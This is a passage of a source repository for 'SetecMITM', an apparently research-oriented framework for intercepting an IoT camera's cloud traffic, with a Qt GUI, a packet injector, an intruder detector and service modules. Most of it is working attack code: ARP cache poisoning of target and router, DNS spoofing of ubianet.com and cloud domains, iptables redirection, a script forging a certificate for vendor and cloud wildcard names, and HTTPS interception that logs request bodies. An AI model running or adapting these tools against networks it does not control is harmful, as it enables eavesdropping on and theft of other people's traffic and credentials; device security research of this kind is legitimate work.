<li>Open the <b>Settings</b> tab. Fill in <code>target_ip</code>, <code>target_mac</code>, <code>our_ip</code>, <code>router_ip</code>, and <code>iface</code>. Save.</li>
<li>Open the <b>Dashboard</b> tab.</li>
<li>Click <b>▶ START ALL</b> — or click each service row individually.</li>
<li>Switch to <b>Live Log</b> to watch traffic in real time.</li>
<li>Switch to <b>Intruders</b> to see detected suspicious activity.</li>
</ol>
<h3 style="color:#8be9fd">Tabs</h3>
<ul>
<li><b>Dashboard</b> — START/STOP, click any service to toggle, watch protocol counts and target info.</li>
<li><b>Live Log</b> — every log line, color-coded. Filter by substring. Toggle Autoscroll.</li>
<li><b>Intruders</b> — table of ARP-spoof attempts, unknown LAN peers contacting the target, and outbound destinations not on your whitelist.</li>
<li><b>Inject</b> — craft and send raw UDP, ARP, or DNS packets.</li>
<li><b>Settings</b> — every config key, editable, persisted to <code>~/.config/setec-mitm/config.json</code>.</li>
</ul>
<h3 style="color:#8be9fd">Services</h3>
<ul>
<li><b>arp</b> — ARP cache poisoning so the target thinks we are the gateway.</li>
<li><b>dns</b> — DNS spoof: redirect cloud lookups to our box.</li>
<li><b>http / https</b> — Intercept ports 80/443. HTTPS uses an auto-generated cert with full SAN list (regen with <code>regen_cert.sh</code>).</li>
<li><b>sniffer</b> — Raw packet sniffer with conntrack original-destination lookup and protocol fingerprinting.</li>
<li><b>intruder</b> — Detects ARP spoofs against the target, unknown LAN peers contacting it, and outbound destinations not in <code>intruder_known_nets</code>.</li>
</ul>
<h3 style="color:#8be9fd">Plugins (target-specific code)</h3>
<p>Vendor-specific clients (cloud API, fuzz wordlists, CVE checks) live under
<code>targets/&lt;name&gt;/plugin.py</code>. Set <code>target_plugin</code> in
the Settings tab to load one. See <code>targets/example/</code> for the layout.</p>
<h3 style="color:#8be9fd">Run</h3>
<p><code>sudo /usr/bin/python3 gui.py</code></p>
""")
layout.addWidget(view)
return w
# ── Periodic refresh ──────────────────────────────────
def _tick(self):
with lock:
total = len(log_lines)
if total < self._last_log_idx:
self._last_log_idx = 0
new = list(log_lines)[self._last_log_idx:]
self._last_log_idx = total
if new:
self.bridge.new_lines.emit(new)
if self.ctrl.services_running:
self.state_label.setText("MITM: RUNNING")
self.state_label.setStyleSheet("color:#50fa7b; font-size:18pt; font-weight:bold; padding:10px;")
else:
self.state_label.setText("MITM: STOPPED")
self.state_label.setStyleSheet("color:#ff5555; font-size:18pt; font-weight:bold; padding:10px;")
for name, btn in self.svc_buttons.items():
on = self.ctrl.flags.get(name, False)
btn.setText(f"{name}: {'ON' if on else 'off'}")
color = "#50fa7b" if on else "#ff5555"
btn.setStyleSheet(f"text-align:left; color:{color}; padding:6px; background:#282a36;")
counts = proto_id.seen_counts()
if counts:
txt = " ".join(f"{k}={v}" for k, v in sorted(counts.items(), key=lambda x: -x[1]))
self.proto_label.setText(txt)
self._refresh_intruders()
self.lbl_tgt.setText(self.ctrl.cfg["target_ip"] or "(unset)")
self.lbl_us.setText(self.ctrl.cfg["our_ip"] or "(unset)")
self.lbl_rtr.setText(self.ctrl.cfg["router_ip"] or "(unset)")
self.lbl_mac.setText(self.ctrl.cfg["target_mac"] or "(unset)")
self.status.showMessage(
f"target={self.ctrl.cfg['target_ip'] or '?'} iface={self.ctrl.cfg['iface'] or '?'} "
f"intruders={len(intruder_watch.get_intruders())}"
)
def _refresh_intruders(self):
items = intruder_watch.get_intruders()
self.intruder_count.setText(f"{len(items)} events")
if self.intruder_table.rowCount() != len(items):
self.intruder_table.setRowCount(len(items))
for i, e in enumerate(items):
self.intruder_table.setItem(i, 0, QTableWidgetItem(e["ts"]))
kind_item = QTableWidgetItem(e["kind"])
kind_item.setForeground(QColor("#ff79c6"))
self.intruder_table.setItem(i, 1, kind_item)
self.intruder_table.setItem(i, 2, QTableWidgetItem(e["src"]))
self.intruder_table.setItem(i, 3, QTableWidgetItem(e["dst"]))
self.intruder_table.setItem(i, 4, QTableWidgetItem(e["detail"]))
def _append_log(self, lines):
flt = self.log_filter.text().lower()
autoscroll = self.autoscroll_cb.isChecked()
sb = self.log_view.verticalScrollBar()
old_pos = sb.value()
old_user_cursor = self.log_view.textCursor()
write_cursor = QTextCursor(self.log_view.document())
write_cursor.movePosition(QTextCursor.MoveOperation.End)
for line, color in lines:
if flt and flt not in line.lower():
continue
fmt = write_cursor.charFormat()
fmt.setForeground(QT_COLORS.get(color, QT_COLORS[C_NONE]))
write_cursor.setCharFormat(fmt)
write_cursor.insertText(line + "\n")
if autoscroll:
self.log_view.moveCursor(QTextCursor.MoveOperation.End)
self.log_view.ensureCursorVisible()
else:
self.log_view.setTextCursor(old_user_cursor)
sb.setValue(old_pos)
def _clear_log(self):
self.log_view.clear()
with lock:
log_lines.clear()
self._last_log_idx = 0
def closeEvent(self, ev):
if self.ctrl.services_running:
self.ctrl.stop_services()
self.ctrl.running = False
close_logfile()
ev.accept()
def main():
if os.geteuid() != 0:
print("Run with: sudo /usr/bin/python3 gui.py")
sys.exit(1)
ctrl = Controller()
os.makedirs(ctrl.cfg["log_dir"], exist_ok=True)
init_logfile(f"{ctrl.cfg['log_dir']}/setec_mitm.log")
signal.signal(signal.SIGINT, signal.SIG_DFL)
app = QApplication(sys.argv)
win = MainWindow(ctrl)
win.show()
rc = app.exec()
if ctrl.services_running:
ctrl.stop_services()
close_logfile()
sys.exit(rc)
if __name__ == "__main__":
main()

0
inject/__init__.py Normal file
View File

178
inject/packet.py Normal file
View File

@@ -0,0 +1,178 @@
"""Packet injection — craft and send raw packets to the target or network"""
import socket
import struct
import os
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_IMPORTANT
def _checksum(data):
"""Calculate IP/TCP/UDP checksum"""
if len(data) % 2:
data += b"\x00"
s = sum(struct.unpack("!%dH" % (len(data) // 2), data))
s = (s >> 16) + (s & 0xFFFF)
s += s >> 16
return ~s & 0xFFFF
def build_ethernet(src_mac, dst_mac, ethertype=0x0800):
src = bytes.fromhex(src_mac.replace(":", ""))
dst = bytes.fromhex(dst_mac.replace(":", ""))
return dst + src + struct.pack("!H", ethertype)
def build_ip(src_ip, dst_ip, proto, payload_len):
ver_ihl = 0x45
tos = 0
total_len = 20 + payload_len
ident = os.getpid() & 0xFFFF
flags_frag = 0x4000 # Don't Fragment
ttl = 64
header = struct.pack("!BBHHHBBH4s4s",
ver_ihl, tos, total_len, ident, flags_frag,
ttl, proto, 0,
socket.inet_aton(src_ip), socket.inet_aton(dst_ip))
chk = _checksum(header)
return header[:10] + struct.pack("!H", chk) + header[12:]
def build_udp(src_port, dst_port, payload):
length = 8 + len(payload)
header = struct.pack("!HHH", src_port, dst_port, length) + b"\x00\x00"
return header + payload
def build_tcp_syn(src_port, dst_port, seq=1000):
data_offset = 5 << 4
flags = 0x02 # SYN
window = 65535
header = struct.pack("!HHIIBBHHH",
src_port, dst_port, seq, 0,
data_offset, flags, window, 0, 0)
return header
def build_arp_request(src_mac, src_ip, target_ip):
src_m = bytes.fromhex(src_mac.replace(":", ""))
dst_m = b"\xff\xff\xff\xff\xff\xff"
eth = dst_m + src_m + b"\x08\x06"
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 1) # request
arp += src_m + socket.inet_aton(src_ip)
arp += b"\x00" * 6 + socket.inet_aton(target_ip)
return eth + arp
def build_arp_reply(src_mac, dst_mac, src_ip, dst_ip):
src_m = bytes.fromhex(src_mac.replace(":", ""))
dst_m = bytes.fromhex(dst_mac.replace(":", ""))
eth = dst_m + src_m + b"\x08\x06"
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2) # reply
arp += src_m + socket.inet_aton(src_ip)
arp += dst_m + socket.inet_aton(dst_ip)
return eth + arp
def build_dns_query(domain, src_port=12345):
"""Build a DNS query packet payload"""
txid = struct.pack("!H", os.getpid() & 0xFFFF)
flags = b"\x01\x00" # standard query
counts = struct.pack("!HHHH", 1, 0, 0, 0)
qname = b""
for label in domain.encode().split(b"."):
qname += bytes([len(label)]) + label
qname += b"\x00"
qtype = struct.pack("!HH", 1, 1) # A record, IN class
return txid + flags + counts + qname + qtype
def send_raw(iface, packet):
"""Send a raw Ethernet frame"""
try:
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
sock.bind((iface, 0))
sock.send(packet)
sock.close()
return True
except Exception as e:
log(f"INJECT: send failed: {e}", C_ERROR)
return False
def send_udp(dst_ip, dst_port, payload, src_port=0):
"""Send UDP datagram using normal socket"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
if src_port:
sock.bind(("", src_port))
sock.sendto(payload, (dst_ip, dst_port))
sock.close()
log(f"INJECT: UDP sent to {dst_ip}:{dst_port} ({len(payload)}B)", C_SUCCESS)
return True
except Exception as e:
log(f"INJECT: UDP failed: {e}", C_ERROR)
return False
def inject(cfg, params):
"""
Inject a packet based on params dict.
params: {
"type": "udp"|"arp_request"|"arp_reply"|"dns_query"|"raw",
"dst_ip": "...",
"dst_port": 1234,
"src_port": 5678,
"payload": "hex string or ascii",
"payload_hex": true/false,
"domain": "for dns_query",
"src_mac": "...", "dst_mac": "...",
"src_ip": "...",
}
"""
ptype = params.get("type", "udp")
iface = cfg["iface"]
if ptype == "udp":
dst_ip = params.get("dst_ip", cfg["target_ip"])
dst_port = int(params.get("dst_port", 10240))
src_port = int(params.get("src_port", 0))
payload = params.get("payload", "")
if params.get("payload_hex"):
payload = bytes.fromhex(payload)
else:
payload = payload.encode()
return {"ok": send_udp(dst_ip, dst_port, payload, src_port)}
elif ptype == "arp_request":
our_mac = open(f"/sys/class/net/{iface}/address").read().strip()
target_ip = params.get("dst_ip", cfg["target_ip"])
pkt = build_arp_request(our_mac, cfg["our_ip"], target_ip)
return {"ok": send_raw(iface, pkt)}
elif ptype == "arp_reply":
src_mac = params.get("src_mac", open(f"/sys/class/net/{iface}/address").read().strip())
dst_mac = params.get("dst_mac", cfg["target_mac"])
src_ip = params.get("src_ip", cfg["router_ip"])
dst_ip = params.get("dst_ip", cfg["target_ip"])
pkt = build_arp_reply(src_mac, dst_mac, src_ip, dst_ip)
log(f"INJECT: ARP reply {src_ip} is-at {src_mac} -> {dst_ip}", C_IMPORTANT)
return {"ok": send_raw(iface, pkt)}
elif ptype == "dns_query":
domain = params.get("domain", "portal.ubianet.com")
payload = build_dns_query(domain)
dst_ip = params.get("dst_ip", cfg["router_ip"])
return {"ok": send_udp(dst_ip, 53, payload)}
elif ptype == "raw":
payload = params.get("payload", "")
if params.get("payload_hex"):
payload = bytes.fromhex(payload)
else:
payload = payload.encode()
# Need full ethernet frame for raw
return {"ok": send_raw(iface, payload)}
else:
log(f"INJECT: unknown type '{ptype}'", C_ERROR)
return {"ok": False, "error": f"unknown type: {ptype}"}

223
mitm.py Executable file
View File

@@ -0,0 +1,223 @@
#!/usr/bin/env python3
"""
SetecMITM — generic IoT / cloud-device MITM framework.
Drop-in framework for ARP spoofing, DNS hijacking, HTTP/HTTPS interception,
UDP capture, raw sniffer, intruder detection, and packet injection against
any device on the LAN. Target-specific logic (vendor cloud clients, CVE
verifiers, fuzzer wordlists) lives in `targets/<name>/` plugins.
Run with:
sudo /usr/bin/python3 mitm.py
or via the PyQt6 GUI:
sudo /usr/bin/python3 gui.py
"""
import os
import sys
import signal
import threading
import time
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from config import Config
from utils.log import (
log, log_lines, init_logfile, close_logfile, lock,
C_NONE, C_ERROR, C_SUCCESS, C_INFO, C_TRAFFIC, C_IMPORTANT,
)
from services import (
arp_spoof, dns_spoof, http_server, udp_listener, sniffer, intruder_watch,
)
from inject import packet
SERVICE_DEFS = [
# (name, runner_factory)
("arp", lambda cfg, flags, ck: arp_spoof.run(cfg, flags, ck)),
("dns", lambda cfg, flags, ck: dns_spoof.run(cfg, flags, ck)),
("http", lambda cfg, flags, ck: http_server.run_http(cfg, flags, ck)),
("https", lambda cfg, flags, ck: http_server.run_https(cfg, flags, ck)),
("sniffer", lambda cfg, flags, ck: sniffer.run(cfg, flags, ck)),
("intruder", lambda cfg, flags, ck: intruder_watch.run(cfg, flags, ck)),
]
SERVICE_NAMES = [s[0] for s in SERVICE_DEFS]
SERVICE_BY_NAME = {s[0]: s for s in SERVICE_DEFS}
class Controller:
"""
Service supervisor. Owns the iptables redirect rules, per-service
on/off state, and the loaded target plugin (if any).
"""
def __init__(self):
self.cfg = Config()
self.flags = {}
self.running = True
self.services_running = False
self._svc_running = {n: False for n in SERVICE_NAMES}
self._iptables_up = False
self.plugin = None
self._load_plugin()
# ─── plugin loader ────────────────────────────────────
def _load_plugin(self):
name = self.cfg.get("target_plugin", "")
if not name:
return
try:
mod = __import__(f"targets.{name}.plugin", fromlist=["Plugin"])
self.plugin = mod.Plugin(self.cfg)
log(f"plugin loaded: {name}", C_SUCCESS)
except Exception as e:
log(f"plugin load failed ({name}): {e}", C_ERROR)
# ─── iptables ─────────────────────────────────────────
def _ensure_iptables(self):
if self._iptables_up:
return
if not self.cfg["target_ip"] or not self.cfg["our_ip"]:
log("iptables: target_ip and our_ip must be set", C_ERROR)
return
os.system("pkill -f arpspoof 2>/dev/null")
os.makedirs(self.cfg["log_dir"], exist_ok=True)
self._setup_iptables()
self._iptables_up = True
def _setup_iptables(self):
tgt = self.cfg["target_ip"]
us = self.cfg["our_ip"]
cmds = [
"sysctl -w net.ipv4.ip_forward=1",
"iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP",
f"iptables -t nat -A PREROUTING -s {tgt} -p udp --dport 53 -j DNAT --to-destination {us}:53",
f"iptables -t nat -A PREROUTING -s {tgt} -p tcp --dport 80 -j DNAT --to-destination {us}:80",
f"iptables -t nat -A PREROUTING -s {tgt} -p tcp --dport 443 -j DNAT --to-destination {us}:443",
]
for c in cmds:
os.system(c + " >/dev/null 2>&1")
log("iptables rules applied", C_INFO)
def _cleanup_iptables(self):
tgt = self.cfg["target_ip"]
us = self.cfg["our_ip"]
cmds = [
"iptables -D OUTPUT -p icmp --icmp-type redirect -j DROP",
f"iptables -t nat -D PREROUTING -s {tgt} -p udp --dport 53 -j DNAT --to-destination {us}:53",
f"iptables -t nat -D PREROUTING -s {tgt} -p tcp --dport 80 -j DNAT --to-destination {us}:80",
f"iptables -t nat -D PREROUTING -s {tgt} -p tcp --dport 443 -j DNAT --to-destination {us}:443",
]
for c in cmds:
os.system(c + " >/dev/null 2>&1")
# ─── per-service control ──────────────────────────────
def start_service(self, name):
if name not in SERVICE_BY_NAME:
log(f"unknown service: {name}", C_ERROR)
return
if self._svc_running.get(name):
log(f"{name} already running", C_ERROR)
return
self._ensure_iptables()
if name == "http": os.system("fuser -k 80/tcp 2>/dev/null")
elif name == "https": os.system("fuser -k 443/tcp 2>/dev/null")
elif name == "dns": os.system("fuser -k 53/udp 2>/dev/null")
time.sleep(0.2)
self._svc_running[name] = True
check = lambda n=name: self.running and self._svc_running.get(n, False)
runner = SERVICE_BY_NAME[name][1]
threading.Thread(
target=lambda: runner(self.cfg, self.flags, check),
daemon=True, name=f"svc-{name}",
).start()
self.services_running = any(self._svc_running.values())
log(f"started: {name}", C_SUCCESS)
def stop_service(self, name):
if not self._svc_running.get(name):
log(f"{name} not running", C_ERROR)
return
self._svc_running[name] = False
log(f"stopping: {name}", C_INFO)
if name == "http": os.system("fuser -k 80/tcp 2>/dev/null")
elif name == "https": os.system("fuser -k 443/tcp 2>/dev/null")
elif name == "dns": os.system("fuser -k 53/udp 2>/dev/null")
time.sleep(0.5)
self.flags[name] = False
self.services_running = any(self._svc_running.values())
def toggle_service(self, name):
if self._svc_running.get(name):
self.stop_service(name)
else:
self.start_service(name)
def start_services(self):
if self.services_running:
log("services already running", C_ERROR)
return
self._ensure_iptables()
# Honour auto_* config flags
for name in SERVICE_NAMES:
key = f"auto_{name}"
if self.cfg.get(key, True):
self.start_service(name)
time.sleep(0.3)
# Optional UDP listeners
for port in self.cfg.get("auto_udp_ports", []) or []:
threading.Thread(
target=lambda p=port: udp_listener.run(p, self.cfg, self.flags,
lambda: self.running and self.services_running),
daemon=True, name=f"svc-udp{port}",
).start()
time.sleep(0.2)
log("all services started", C_SUCCESS)
def stop_services(self):
if not self.services_running:
log("services not running", C_ERROR)
return
log("stopping all services…", C_INFO)
for name in SERVICE_NAMES:
if self._svc_running.get(name):
self.stop_service(name)
time.sleep(1)
self._cleanup_iptables()
self._iptables_up = False
self.flags.clear()
self.services_running = False
log("services stopped", C_INFO)
def inject_packet(self, params):
return packet.inject(self.cfg, params)
def main():
if os.geteuid() != 0:
print("Run with: sudo /usr/bin/python3 mitm.py")
sys.exit(1)
ctrl = Controller()
init_logfile(f"{ctrl.cfg['log_dir']}/setec_mitm.log")
# Headless mode — start everything and wait. The full curses TUI from
# cam-mitm is not bundled here; use gui.py instead.
log("setec-mitm headless mode. Use gui.py for the full UI.", C_INFO)
ctrl.start_services()
def shutdown(*_):
log("shutting down…", C_INFO)
ctrl.stop_services()
ctrl.running = False
close_logfile()
sys.exit(0)
signal.signal(signal.SIGINT, shutdown)
signal.signal(signal.SIGTERM, shutdown)
while ctrl.running:
time.sleep(0.5)
if __name__ == "__main__":
main()

65
regen_cert.sh Executable file
View File

@@ -0,0 +1,65 @@
#!/usr/bin/env bash
set -euo pipefail
if [[ $EUID -ne 0 ]]; then
echo "must run as root (use sudo)" >&2
exit 1
fi
ROOT_DIR=/root/dumps/mitm_logs
SNAKE_DIR=/home/snake/dumps/mitm_logs
mkdir -p "$ROOT_DIR" "$SNAKE_DIR"
CERT="$ROOT_DIR/mitm_cert.pem"
KEY="$ROOT_DIR/mitm_key.pem"
CFG=$(mktemp)
trap 'rm -f "$CFG"' EXIT
cat > "$CFG" <<'EOF'
[req]
distinguished_name = dn
req_extensions = v3_req
x509_extensions = v3_req
prompt = no
[dn]
CN = portal.ubianet.com
O = Ubia
C = US
[v3_req]
basicConstraints = CA:FALSE
keyUsage = digitalSignature, keyEncipherment
extendedKeyUsage = serverAuth
subjectAltName = @alt
[alt]
DNS.1 = portal.ubianet.com
DNS.2 = api.us.ubianet.com
DNS.3 = api.cn.ubianet.com
DNS.4 = *.ubianet.com
DNS.5 = *.aliyuncs.com
DNS.6 = *.oss-cn-shenzhen.aliyuncs.com
DNS.7 = *.myqcloud.com
IP.1 = 192.168.1.172
EOF
openssl req -x509 -newkey rsa:2048 -nodes -days 3650 \
-keyout "$KEY" -out "$CERT" -config "$CFG" -extensions v3_req
chmod 644 "$CERT"
chmod 600 "$KEY"
cp "$CERT" "$SNAKE_DIR/mitm_cert.pem"
cp "$KEY" "$SNAKE_DIR/mitm_key.pem"
chown snake:snake "$SNAKE_DIR/mitm_cert.pem" "$SNAKE_DIR/mitm_key.pem"
chmod 644 "$SNAKE_DIR/mitm_cert.pem"
chmod 600 "$SNAKE_DIR/mitm_key.pem"
echo
echo "=== wrote ==="
ls -l "$CERT" "$KEY" "$SNAKE_DIR/mitm_cert.pem" "$SNAKE_DIR/mitm_key.pem"
echo
echo "=== subject + SANs ==="
openssl x509 -in "$CERT" -noout -text | grep -E "Subject:|DNS:|IP Address:"

0
services/__init__.py Normal file
View File

89
services/arp_spoof.py Normal file
View File

@@ -0,0 +1,89 @@
"""ARP spoofing service — positions us as MITM between target and router"""
import socket
import struct
import os
import time
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO
def get_mac(ip):
try:
out = os.popen(f"ip neigh show {ip}").read()
for line in out.strip().split("\n"):
parts = line.split()
if "lladdr" in parts:
return parts[parts.index("lladdr") + 1]
except:
pass
return None
def build_arp_reply(src_mac_str, dst_mac_str, src_ip, dst_ip):
src_mac = bytes.fromhex(src_mac_str.replace(":", ""))
dst_mac = bytes.fromhex(dst_mac_str.replace(":", ""))
eth = dst_mac + src_mac + b"\x08\x06"
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2)
arp += src_mac + socket.inet_aton(src_ip)
arp += dst_mac + socket.inet_aton(dst_ip)
return eth + arp
def run(cfg, flags, running_check):
iface = cfg["iface"]
target_ip = cfg["target_ip"]
router_ip = cfg["router_ip"]
try:
with open(f"/sys/class/net/{iface}/address") as f:
our_mac = f.read().strip()
except:
log("ARP: cannot read our MAC", C_ERROR)
return
os.system(f"ping -c 1 -W 1 {router_ip} >/dev/null 2>&1")
os.system(f"ping -c 1 -W 1 {target_ip} >/dev/null 2>&1")
time.sleep(1)
router_mac = get_mac(router_ip)
target_mac = get_mac(target_ip) or cfg["target_mac"]
if not router_mac:
log(f"ARP: cannot find router MAC for {router_ip}", C_ERROR)
return
log(f"ARP: us={our_mac} router={router_mac} target={target_mac}", C_SUCCESS)
try:
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
sock.bind((iface, 0))
except PermissionError:
log("ARP: need root for raw sockets", C_ERROR)
return
flags["arp"] = True
pkt_to_cam = build_arp_reply(our_mac, target_mac, router_ip, target_ip)
pkt_to_rtr = build_arp_reply(our_mac, router_mac, target_ip, router_ip)
while running_check():
try:
sock.send(pkt_to_cam)
sock.send(pkt_to_rtr)
except:
pass
time.sleep(2)
# Restore
log("ARP: restoring...", C_INFO)
r1 = build_arp_reply(router_mac, target_mac, router_ip, target_ip)
r2 = build_arp_reply(target_mac, router_mac, target_ip, router_ip)
for _ in range(5):
try:
sock.send(r1)
sock.send(r2)
except:
pass
time.sleep(0.3)
sock.close()
flags["arp"] = False
log("ARP: restored", C_INFO)

85
services/dns_spoof.py Normal file
View File

@@ -0,0 +1,85 @@
"""DNS interception — spoofs cloud domains to point at us"""
import socket
import struct
from utils.log import log, C_SUCCESS, C_IMPORTANT, C_ERROR
SPOOF_DOMAINS = [b"ubianet.com", b"aliyuncs.com", b"amazonaws.com", b"myqcloud.com"]
def parse_dns_name(data, offset):
labels = []
while offset < len(data):
length = data[offset]
if length == 0:
offset += 1
break
if (length & 0xC0) == 0xC0:
ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
labels.append(parse_dns_name(data, ptr)[0])
offset += 2
break
offset += 1
labels.append(data[offset:offset + length])
offset += length
return b".".join(labels), offset
def build_dns_response(query, ip):
resp = bytearray(query[:2])
resp += b"\x81\x80"
resp += query[4:6]
resp += b"\x00\x01\x00\x00\x00\x00"
resp += query[12:]
resp += b"\xc0\x0c\x00\x01\x00\x01"
resp += struct.pack("!I", 60)
resp += b"\x00\x04"
resp += socket.inet_aton(ip)
return bytes(resp)
def run(cfg, flags, running_check):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(1)
try:
sock.bind(("0.0.0.0", 53))
except OSError as e:
log(f"DNS: bind :53 failed: {e}", C_ERROR)
return
flags["dns"] = True
log("DNS: listening on :53", C_SUCCESS)
while running_check():
try:
data, addr = sock.recvfrom(1024)
except socket.timeout:
continue
except:
break
if len(data) < 12:
continue
name, _ = parse_dns_name(data, 12)
name_str = name.decode("utf-8", errors="replace")
should_spoof = (addr[0] == cfg["target_ip"] and
any(d in name.lower() for d in SPOOF_DOMAINS))
if should_spoof:
resp = build_dns_response(data, cfg["our_ip"])
sock.sendto(resp, addr)
log(f"DNS: {name_str} -> SPOOFED", C_IMPORTANT)
else:
fwd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
fwd.settimeout(3)
try:
fwd.sendto(data, (cfg["router_ip"], 53))
resp, _ = fwd.recvfrom(4096)
sock.sendto(resp, addr)
except:
pass
fwd.close()
sock.close()
flags["dns"] = False

179
services/http_server.py Normal file
View File

@@ -0,0 +1,179 @@
"""HTTP and HTTPS MITM servers — intercept target cloud traffic"""
import socket
import ssl
import os
import json
import threading
from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT
from utils import proto as proto_id
def _handle_http(conn, addr, cfg):
try:
conn.settimeout(5)
data = conn.recv(8192)
if data:
text = data.decode("utf-8", errors="replace")
lines = text.split("\r\n")
log(f"HTTP {addr[0]}: {lines[0]}", C_TRAFFIC)
for l in lines[1:6]:
if l:
log(f" {l}", 0)
save_raw(cfg["log_dir"], f"http_{addr[0]}", data)
conn.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK")
except:
pass
finally:
conn.close()
def _handle_https(conn, addr, cfg):
try:
conn.settimeout(5)
data = b""
while True:
chunk = conn.recv(4096)
if not chunk:
break
data += chunk
if b"\r\n\r\n" in data:
# Check Content-Length for body
cl = 0
for line in data.split(b"\r\n"):
if line.lower().startswith(b"content-length:"):
cl = int(line.split(b":")[1].strip())
break
hdr_end = data.index(b"\r\n\r\n") + 4
if len(data) >= hdr_end + cl:
break
if data:
try:
hdr_end = data.index(b"\r\n\r\n")
headers = data[:hdr_end].decode("utf-8", errors="replace")
body = data[hdr_end + 4:]
lines = headers.split("\r\n")
log(f"HTTPS {addr[0]}: {lines[0]}", C_TRAFFIC)
for l in lines[1:8]:
if l:
log(f" {l}", 0)
if body:
try:
parsed = json.loads(body)
log(f" BODY: {json.dumps(parsed)}", C_IMPORTANT)
except:
log(f" BODY ({len(body)}B):", 0)
log(hexdump(body), 0)
except:
log(f"HTTPS raw {addr[0]}: {len(data)}B", C_TRAFFIC)
log(hexdump(data), 0)
save_raw(cfg["log_dir"], f"https_{addr[0]}", data)
conn.sendall(b'HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n'
b'Content-Length: 27\r\n\r\n{"code":0,"msg":"success"}')
except:
pass
finally:
conn.close()
def _generate_cert(log_dir):
cert = f"{log_dir}/mitm_cert.pem"
key = f"{log_dir}/mitm_key.pem"
if not os.path.exists(cert):
os.makedirs(log_dir, exist_ok=True)
os.system(f'openssl req -x509 -newkey rsa:2048 -keyout {key} '
f'-out {cert} -days 365 -nodes '
f'-subj "/CN=portal.ubianet.com" 2>/dev/null')
return cert, key
def run_http(cfg, flags, running_check):
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.settimeout(1)
try:
srv.bind(("0.0.0.0", 80))
except OSError as e:
log(f"HTTP: bind :80 failed: {e}", C_ERROR)
return
srv.listen(5)
flags["http"] = True
log("HTTP: listening on :80", C_SUCCESS)
while running_check():
try:
conn, addr = srv.accept()
threading.Thread(target=_handle_http, args=(conn, addr, cfg), daemon=True).start()
except socket.timeout:
continue
except:
break
srv.close()
flags["http"] = False
def run_https(cfg, flags, running_check):
cert, key = _generate_cert(cfg["log_dir"])
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(cert, key)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.settimeout(1)
try:
srv.bind(("0.0.0.0", 443))
except OSError as e:
log(f"HTTPS: bind :443 failed: {e}", C_ERROR)
return
srv.listen(5)
flags["https"] = True
log("HTTPS: listening on :443", C_SUCCESS)
while running_check():
try:
conn, addr = srv.accept()
# Peek at first bytes to detect TLS vs raw protocol
try:
conn.settimeout(3)
peek = conn.recv(8, socket.MSG_PEEK)
except Exception as e:
log(f"443 peek fail {addr[0]}: {e}", C_ERROR)
conn.close()
continue
conn.settimeout(None)
# TLS ClientHello starts with 0x16 0x03 0x0[0-4]
is_tls = len(peek) >= 3 and peek[0] == 0x16 and peek[1] == 0x03
if is_tls:
try:
ssl_conn = ctx.wrap_socket(conn, server_side=True)
threading.Thread(target=_handle_https, args=(ssl_conn, addr, cfg),
daemon=True).start()
except ssl.SSLError as e:
log(f"SSL fail {addr[0]}: {e} (first8={peek.hex()})", C_ERROR)
save_raw(cfg["log_dir"], f"raw_tls_fail_{addr[0]}", peek)
conn.close()
else:
# Non-TLS protocol on :443 — capture raw
pname = proto_id.detect(peek)
proto_id.record(pname)
log(f"NON-TLS on :443 from {addr[0]} proto={pname} first8={peek.hex()}", C_IMPORTANT)
try:
conn.settimeout(2)
full = conn.recv(4096)
if full:
log(f" Raw ({len(full)}B):", 0)
log(hexdump(full[:256]), 0)
save_raw(cfg["log_dir"], f"raw_443_{addr[0]}", full)
except Exception as e:
log(f" recv fail: {e}", C_ERROR)
conn.close()
except socket.timeout:
continue
except:
break
srv.close()
flags["https"] = False

187
services/intruder_watch.py Normal file
View File

@@ -0,0 +1,187 @@
"""
Intruder watch — detects unauthorized parties interacting with the target.
Watches the raw socket for:
1. Any LAN host that isn't us, the router, or the target, exchanging traffic
with the target.
2. ARP replies for the target's IP coming from a MAC that isn't the target —
i.e. someone else is ARP-spoofing.
3. Outbound packets from the target to destinations not on the known cloud
whitelist (suggests new C2 / unknown firmware behavior).
4. New TCP/UDP destination ports the target initiates that we haven't seen.
Findings are pushed to utils.log AND to a shared `intruders` deque the GUI
reads from for the Intruders tab.
"""
import socket
import struct
import threading
import time
from collections import deque
from datetime import datetime
from utils.log import log, C_ERROR, C_SUCCESS, C_IMPORTANT, C_TRAFFIC
# Shared state the GUI inspects
intruders = deque(maxlen=500)
_intruder_lock = threading.Lock()
# Known cloud destinations the target is *expected* to talk to (from findings.md).
# Anything outside this set is suspicious.
KNOWN_CLOUD_NETS = [
# Tencent Cloud (P2P relay, COS)
("43.0.0.0", 8),
("119.28.0.0", 14),
("129.226.0.0", 15),
("150.109.0.0", 16),
# Alibaba Cloud (OSS, OTA)
("8.208.0.0", 12),
("47.74.0.0", 15),
("47.88.0.0", 13),
("118.178.0.0", 15),
# AWS (NTP buckets)
("3.64.0.0", 12),
("54.93.0.0", 16),
# Akamai (connectivity check, microsoft etc.)
("23.0.0.0", 8),
("104.64.0.0", 10),
# Microsoft / Apple / Amazon connectivity checks
("17.0.0.0", 8), # Apple
